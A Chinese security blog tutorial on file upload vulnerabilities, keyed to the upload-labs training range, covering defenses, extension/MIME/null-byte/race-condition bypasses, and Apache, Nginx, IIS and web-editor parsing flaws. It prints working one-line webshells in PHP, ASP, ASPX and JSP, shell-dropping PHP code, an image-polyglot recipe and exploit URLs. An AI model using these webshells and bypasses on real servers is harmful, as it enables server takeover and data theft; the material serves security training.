[Web安全 网络安全]-文件上传漏洞

刘鑫磊up 2024-09-17 16:37:00 阅读 100

文章目录:

一:前言

1.什么是文件上传漏洞

2.环境

2.1 靶场 

2.2 其他工具

3.木马分类

二:文件上传分类

1.客户端

JS绕过

2.服务端-黑名单

大小写绕过

点和空格绕过

.htaccess文件绕过

php345文件绕过

windows ::$DATA绕过

3.服务端-白名单

MIME验证绕过

%00截断

4.服务端-检查内容

文件头检查内容验证

二次渲染

5.服务端-其他

条件竞争

三:漏洞解析

1.Apache解析漏洞 

2.Nginx解析漏洞

3.iis6.0解析漏洞

4.iis7.0解析漏洞 

四:编辑器漏洞


一:前言

1.什么是文件上传漏洞

<code>定义:文件上传漏洞是指攻击者利用网站或应用程序中的文件上传功能,

上传恶意文件(如木马、病毒、恶意脚本、WebShell等)到服务器上,

并利用服务器的解析漏洞执行这些恶意文件,从而获取对服务器的控制权限或进行其他恶意操作

危害

服务器被完全控制:攻击者可以上传并执行任意代码,从而完全控制服务器

数据泄露:攻击者可以访问并下载服务器上的敏感数据,如用户个人信息、公司机密等

系统资源耗尽:恶意文件可能包含消耗大量服务器资源的脚本,导致服务拒绝(DoS)攻击,影响系统的可用性和稳定性

恶意软件分发:服务器可能被用来分发恶意软件,进一步危害互联网安全

高危触发点

相册、头像上传

视频、照片上传

附件上传(论坛发帖、邮箱)

文件管理器

攻击方式

上传恶意脚本:如PHP、ASP、JSP等Web脚本语言文件,这些文件被服务器解释执行后,攻击者可以获取对服务器的控制权限

上传病毒或木马:这些文件被上传后,可能会被诱骗用户或管理员下载执行,或者自动运行以危害系统安全

上传钓鱼图片或包含脚本的图片:在某些版本的浏览器中,这些图片可能会被作为脚本执行,用于钓鱼和欺诈

利用目录遍历攻击:通过上传一个指针文件,使程序跳转到攻击者的网站或目录,从而进行更进一步的攻击

防御措施

严格的文件类型验证:确保只允许上传预定义的安全文件类型,并对文件的扩展名进行严格检查

文件内容验证:使用病毒扫描和恶意代码检测工具对上传的文件进行安全检测

文件重命名:对上传的文件进行重命名,避免直接使用用户上传时的文件名,增加攻击者破解文件路径的难度

访问控制:确保只有授权的用户才能访问和下载上传的文件

禁止脚本文件执行:将文件上传目录设置为禁止脚本文件执行,防止攻击者上传并执行恶意脚本

设置文件大小限制:在服务器端限制上传文件的大小,防止通过上传大文件耗尽服务器资源

安全配置和更新:正确配置服务器和应用程序,禁止执行无关的文件类型,并及时更新服务器和应用程序的版本以修复已知的漏洞

什么是WebShell

以asp、aspx、php、jsp 或者 cgi 等网页文件形式存在的一种代码执行环境

主要用于网站管理、服务器管理、权限管理等操作

使用方法简单,只需上传一个代码文件,通过网址访问,便可进行很多日常操作,对网站和服务器的管理

如此,也有小部分人将代码修改后当作后门程序使用,以达到控制网站服务器的目的

webshell管理工具

中国菜刀(caidao) (比较落后,有后门)

c刀(cknife)

Weevely3 (kali中自带)

中国蚁剑(AntSword)

冰蝎(Behinder)

后门

一台计算机上有65535个端口,每个端口是计算机与外界连接所开启的门

每个门都有计算机提供的一些服务,攻击者利用这些服务,获取服务器的权限,给自己进入计算机留下一个后门

2.环境

2.1 靶场 

upload-labs靶场 :专门收集渗透测试和CTF中遇到的各种上传漏洞的靶场

第一关:前端JS验证绕过

第二关:MIME绕过

第三关:php345绕过

第四关:.htaccess绕过

第五关:大小写绕过

第六关:空格绕过

第七关:点绕过

第八关:::$DATA绕过

第九关:点空格点拼接绕过

第十关:双文件绕过 phphpp-hpp pphphp-php

第十一关:双写后缀绕过

第十二关:GET 0X00截断

第十三关:POST 0X00截断

第十四关:getimagesize图片马

第十五关:exif_imagetype图片马

第十六关:二次渲染绕过

第十七关:条件竞争原理绕过

第十八关:apache漏洞+条件竞争

第十九关:POST 0X00截断

第二十关:审计+数组后缀绕过

 Upload-labs各关卡通关手册:分享1、分享2、分享3、分享4、分享5、分享6、分享7、分享8、分享9、分享10

2.2 其他工具

phpSdudy 

cracer安全工具包

MantraPortable(owasp的火狐):可以在里面修改网页内容 

BurpSuite 安装+激活+使用详细上手教程 web安全测试工具

WinHex安装与使用:检查和修复各种文件、恢复删除文件、硬盘损坏造成的数据丢失等

010 editor进制编辑器

中国菜刀下载安装教程:在虚拟终端输入ipconfig,尝试抓取数据包

3.木马分类

文件大小分类 一句话木马:通常只有一行代码

<code><? php eval($_POST[pass]?)>

GIF89a

<? php eval($_POST[pass]?)>

这里解释一下为什么要加 GIF89a

因为有些 Waf 会检测文件内容,而 GIF89a 就是图片内容的头 

小马:只包含文件上传功能

<?php fputs(fopen("up.php","w"), '<?php eval($_POST["cmd"])?>'); ?>

大马:包含很多功能

           代码通常会进行加密隐藏

<?php fputs(fopen(base64_decode(dXAucGhw),w),base64_decode(base64_decode(PHP代码编码))); ?>

脚本类型分类 jsp

<code><%Runtime.getRuntime().exec(request.getParameter(“i”)));%>

asp

<%eval request(“pass”)%>

aspx

<%@ Page Language=“Jscript”%><%eval(Request.Item[“pass”])%>

php

<?php eval($_GET[pass]);?>

<?php eval($_POST[pass]);?>

一句话木马的了解

我们要用恶意代码上传到服务器的网站中执行权限:远程服务器上被插入一句话的可执行文件

<? php eval($_POST[fox]?)>

其中fox可以自己修改

种类;asp、php、aspx

好处:短小精悍、功能强大、隐蔽性好

图片一句话木马的制作 

cmd制作

命令:copy fox.jpg/b+fox.php/a fox1.jpg

b:代表二进制

a:代表ASCII 编码

第一步:图片——>右键新建快捷方式——>键入对象的位置cmd

第二步:输入命令copy fox.jpg/b+fox.php/a fox1.jpg

第三步:打开方式notepad,就可以看到图片里面,有写入的代码

uedit制作:直接把一句话木马丢进去编码,另存为就可以了

二:文件上传分类

客户端 JS绕过文件上传
服务端 检查后缀

黑名单

上传特殊可解析后缀
上传.htaccess
后缀大小写绕过
点绕过
空格绕过
::$DATA绕过
配合解析漏洞
双后缀名绕过
白名单 MIME验证绕过
%00截断
0x00截断
0x0a截断
检查内容 文件头检查内容验证
突破getimagesize()函数 用于获取图形尺寸
突破exif_imagettype()函数 用来获取图片类型
二次渲染
其他 条件竞争

1.客户端

JS绕过

<code>JS验证:用于客户端本地的验证,所有会很快判断你上传的文件类型是否正确

第一种

JS判断代码:onsubmit="return checkFile()"code>

绕过方法:删除JS判断代码

第二种

尝试在允许上传格式的文件里面添加.php格式

绕过方法:a=".jpg|.jpeg|.png|.jpg|.bmp|.php|";code>

第三种

1.拷贝源代码,在本地分析

2.尝试删除js代码

3.指定在action=""中指定上传地址code>

绕过方法:本地修改,添加上传地址

第四种

上传允许上传的文件

用burp进行抓包改包:抓包修改

2.服务端-黑名单

文件扩展名限制是通过客户端黑名单来限制上传文件的类型  

大小写绕过

大小写绕过文件上传:大小写是把文件拓展名进行Php进行测试绕过(Php phP)

这里需要注意一下,Windows和linux下的两个文件名不一样的

Windows下文件不区分大小写的

linux 下文件是区分大小写的

绕过方法:修改后缀大小写

点和空格绕过

点和空格绕过文件上传:是在文件后缀加上点和空格进行绕过

文件下,在后缀加上空格和点重新命名之后是自动删除所谓的空格和点

可以尝试欺骗服务器验证,但是系统下是不支持加空格加点的

.php空格 这里他会自动解析为.php

.php. 这里同理解析为.php

.php.空格. 路径拼接尝试绕过

绕过方法:这里需要利用burp抓包——>修改后缀为(.php空格 .php)就可以验证了

.htaccess文件绕过

.htaccess文件绕过上传:提供了针对每个目录改变配置的方法

在一个特点的目录中放置一个包含指令的文件,其中的指令作用于此目录及其所有子目录

.htaccess文件是apache服务器中的一个配置文件,它负责相关目录下的网页配置

他的功能有,网页301重定向、自定义404错误页面、改变文件扩展名、

允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等

.htaccess文件代码

<FilesMatch "fox">

SetHander application/x-httpd-php

</FilesMatch>

绕过方法:新建文件——>复制代码——>修改后缀名

php345文件绕过

php345文件绕过上传:代表php版本3 4 5

绕过方法:新建文件——>写入代码——>修改文件后缀名filename.php5

<? php eval($_POST[fox]?)>

windows ::$DATA绕过

windows ::$DATA绕过上传:之内用于windows

NTFS文件系统的存储数据流的一个属性 DATA 时

就是请求 a.php 本身的数据,如果a.php 还包含了其他的数据流,比如

a.php:lake2.php,请求 a.asp:lake2.php::$DATA,

则是请求a.php中的流数据lake2.php的流数据内容

简单来说就是在数据后加::$DATA绕过

fox.php::$DATA 返回的结果 fox.php

绕过方法:这里需要利用burp抓包——>修改后缀为(filename.php::$DATA)就可以验证了

apache解析漏洞上传

Apache 是从右到左开始判断解析,如果为不可识别解析,就再往左判断

比如1.php.xxx对apache来说xxx是不可解析的,所以就会解析成1.php

3.服务端-白名单

MIME验证绕过

MIME 类型 | 菜鸟教程

MIME:多用途互联网扩展类型

是设定某种扩展名的文件用一种应用程序来打开的方式类型

当改扩展名文件被访问的时候,浏览器会自动使用指定应用程序来打开

其实就是:服务器判断你上传的什么文件

用于指定一些客户端 自定义的文件名;以及一些媒体文件打开方式

绕过方法:修改媒体类型Content-Type:application-stream、抓包修改后缀

jpg:image/jpeg php:application/x-httpd-php Windows 系统可执行文件格式:application/octet-stream

%00截断

0x00是十六进制表示方法,是ascll码为0的字符

在有些函数处理时,会把这个字符当做结束符。这个可以用在对文件类型名的绕过上

关于00截断get是可以自动转换的,post需要对%00进行特殊转换

绕过方法:

get:这里需要利用burp抓包——>修改后缀为(filename.php%001.jpg)就可以验证了

post:这里需要利用burp抓包——>修改后缀为(filename.php%001.jpg)就可以验证了

需要对%00进行特殊转换(convet selection——>url——>url-decode)

4.服务端-检查内容

文件头检查内容验证

判断文件头数据

filename.gif

GIF89a

<? php eval($_POST[fox]?)>

二次渲染

定义:当我们上传一张 .jpg/.png/.gif 后缀的图片时,网页上显示的并不是我们原先上传的图片

而是经过后台加工过的图片,这张图片会修改原图的某些部分

当然我们的肉眼是看不出来的,通过修改原图,将原图中插有的恶意代码进行覆盖

二次渲染将图片马里面的php代码删了

接下来把原图和修改后的图片进行比较,看哪里没有被渲染,在这里插入php代码

图片二次渲染 用于:防止图片马上传含有恶意代码的文件

绕过办法:找出原图不会被二次渲染的区域,这就要比较原图和选然后的图片

比较未被渲染的区域,需要用到工具 010editor

在未被渲染的区域插入php代码,制作成了一张不会受到二次渲染影响的图片马

<?php $_GET[0]($_POST[1]);?>

5.服务端-其他

条件竞争

$is_upload = false;

$msg = null;

if(isset($_POST['submit'])){

$ext_arr = array('jpg','png','gif');

$file_name = $_FILES['upload_file']['name'];

$temp_file = $_FILES['upload_file']['tmp_name'];

$file_ext = substr($file_name,strrpos($file_name,".")+1);

$upload_file = UPLOAD_PATH . '/' . $file_name;

if(move_uploaded_file($temp_file, $upload_file)){

if(in_array($file_ext,$ext_arr)){

$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;

rename($upload_file, $img_path);

$is_upload = true;

}else{

$msg = "只允许上传.jpg|.png|.gif类型文件!";

unlink($upload_file);

}

}else{

$msg = '上传出错!';

}

}

分析以上代码,可以看到他的逻辑是先对文件进行了上传操作,然后在判断文件的扩展名在不在白名单中,如若在,进行重命名。不在则对其进行删除 

分析

1.这么看来如果我们还是上传一个图片马的话,网站依旧存在文件包含漏洞我们还是可以进行利用

但是如果没有文件包含漏洞的话,我们就只能上传一个php木马来解析运行了

假设这一题 没有文件包含漏洞的话,那我们只要上传php木马就会被删除,那还怎么搞

2.要知道代码在执行的时候也是需要时间的,尽管这个时间特别短,只要我们能利用住,就会成功

如果我们能在上传的一句话被删除之前访问不就成了。这个也就叫做条件竞争上传绕过

3.我们可以利用burp多线程发包,然后不断在浏览器访问我们的webshell(不停的上传),会有一瞬间的访问成功

定义:结合代码审计,将文件上传至服务器后,不会被立即删除,而是做短暂的停留

中间会有一小部分时间差,这部分时间差是代码进行执行语句(if判断的)时间

这部分时间足够执行一句代码,我们利用这段时间差和一段代码就可以达到上传含有恶意代码的非法文件的目的

上传的文件从临时目录移动到 upload_file(服务器的目录),任意类型的文件先上传到服务器上,在决定删除不删除

绕过方法:把这个php文件通过burp一直不停的重放,然后我们在开一个burp一直访问我们的这个php文件,总会有那么一瞬间是还没来得及删除就可以被访问到的

一旦访问到该文件就会在上层目录下生成一个webshell.php的一句话文件,这样生成的文件是不会被我们的程序删除掉的

a.php

<?php $str='<?php @eval($_POST[cmd]);?>' file_put_contents("b.php",$str); ?>code>

其他语句参考<?php fputs(fopen('shell.php','w'),' <?php phpinfo() ?>')?>

其他语句参考<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["a"])?>');?>

在a.php 在后台短暂停留的时间内,只要访问它并执行代码,它就会在 upload中创建b.php文件,达到上传非法文件的目的

b.php里面的内容会生成<?php @eval($_POST[cmd]);

三:漏洞解析

1.Apache解析漏洞 

Apache解析漏洞

Apache 是从右到左开始判断解析,如果为不可识别解析,就再往左判断

比如1.php.xxx对apache来说xxx是不可解析的,所以就会解析成1.php

如aa.php.owf.rar文件,Apache不可识别解析rar和owf,便会解析成php文件

2.Nginx解析漏洞

Nginx解析漏洞

Nginx的解析漏洞通常与文件扩展名的处理和URL路径的解析有关

一个典型的例子是Nginx在处理特定URL时,可能会错误地将请求映射到不期望的文件上

环境配置:

Nginx作为Web服务器

服务器配置允许上传文件,并存储在某个可访问的目录中

Nginx的某些配置可能允许通过修改URL来绕过文件类型检查

漏洞利用:

攻击者在网站上传一个看似无害的图片文件(如malicious.jpg),但该文件实际上包含恶意代码(例如,通过修改文件头或使用特殊的编码技术)

攻击者通过构造特定的URL(如http://example.com/uploads/malicious.jpg%00.php),尝试访问该文件

Nginx可能会错误地将请求映射到malicious.jpg文件,但由于URL中的%00(空字符)截断,服务器可能会忽略.jpg扩展名,并尝试将请求作为PHP文件处理

3.iis6.0解析漏洞

iis6.0解析漏洞

1、目录解析:以*.asp命名的文件夹里的文件都将会被当成ASP文件执行

形式:www.xxx.com/xx.asp/xx.jpg

比如1.asp/1.jpg,这里1.jpg会被当做asp文件执行

2、文件解析:*.asp;.jpg 像这种畸形文件名在“;”后面的直接被忽略,也就是说当成 *.asp文件执行

形式:www.xxx.com/xx.asp;.jpg

比如1.asp;1.jpg命名的文件,同样是以asp脚本进行执行

4.iis7.0解析漏洞 

IIS7.0解析漏洞

在IIS7.0中,一个常见的解析漏洞与文件扩展名的处理有关,尤其是在FastCGI模式下

当php.ini配置文件中的cgi.fix_pathinfo选项被设置为1时,可能会出现文件解析漏洞

这个漏洞允许攻击者通过特定的URL构造,使服务器错误地将非PHP文件当作PHP文件来执行

环境配置:

IIS7.0安装在Windows Server上

PHP作为后端脚本语言,通过FastCGI与IIS集成

php.ini中的cgi.fix_pathinfo选项被设置为1

漏洞利用:

攻击者在网站上传一个包含PHP代码的图片文件(如shell.jpg),该文件实际上是一个PHP木马

攻击者通过构造URL(如http://example.com/uploads/shell.jpg/.php),尝试访问该文件

由于cgi.fix_pathinfo被设置为1,IIS会将请求中的.php部分视为对PHP文件的请求,并尝试执行shell.jpg文件内的PHP代码

影响:

攻击者可以执行任意PHP代码,从而控制服务器或访问敏感数据

四:编辑器漏洞

分类

不需要后台验证:可以直接在前台访问且操作

需要后台验证:才可以操作编辑器

常用的编辑器有

FCKeditor

EWEbeditor

CKFinder

UEDITOR

DotNetTextBox

Cute Editor

编辑器漏洞利用

(1)找到编辑器:我们可以看编辑器路径的文件名来判断是什么编辑器

(2)确认版本

(3)去搜索该版本编辑器的漏洞利用

FCK编辑器漏洞利用

FCKeditor常见上传目录:

FCKeditor/editor/filemanager/browser/default/connectors/test.html

FCKeditor/editor/filemanager/upload/test.html

FCKeditor/editor/filemanager/connectors/test.html

FCKeditor/editor/filemanager/connectors/uploadtest.html

fck“”变“”绕过方法

在高版本fck中,直接上传或抓包修改文件名为a.asp;jpg,都会将前面的点变成下划线

也就是变成这样:a_asp,jpg,这样我们的文件名解析就无效果了

绕过方法:突破建立文件夹(实质就是利用我们iis6的目录解析)

EWEbeditor编辑器漏洞

(1)进后台:eweb编辑器默认数据库地址是:ewebeditor/db/ewebeditor.mdb

(2)eweb遍历漏洞:ewebeditor/admin uploadfile.asp?id=14&dir=../

(3)修改样式表上传文件



声明

本文内容仅代表作者观点,或转载于其他网站,本站不以此文作为商业用途
如有涉及侵权,请联系本站进行删除
转载本站原创文章,请注明来源及作者。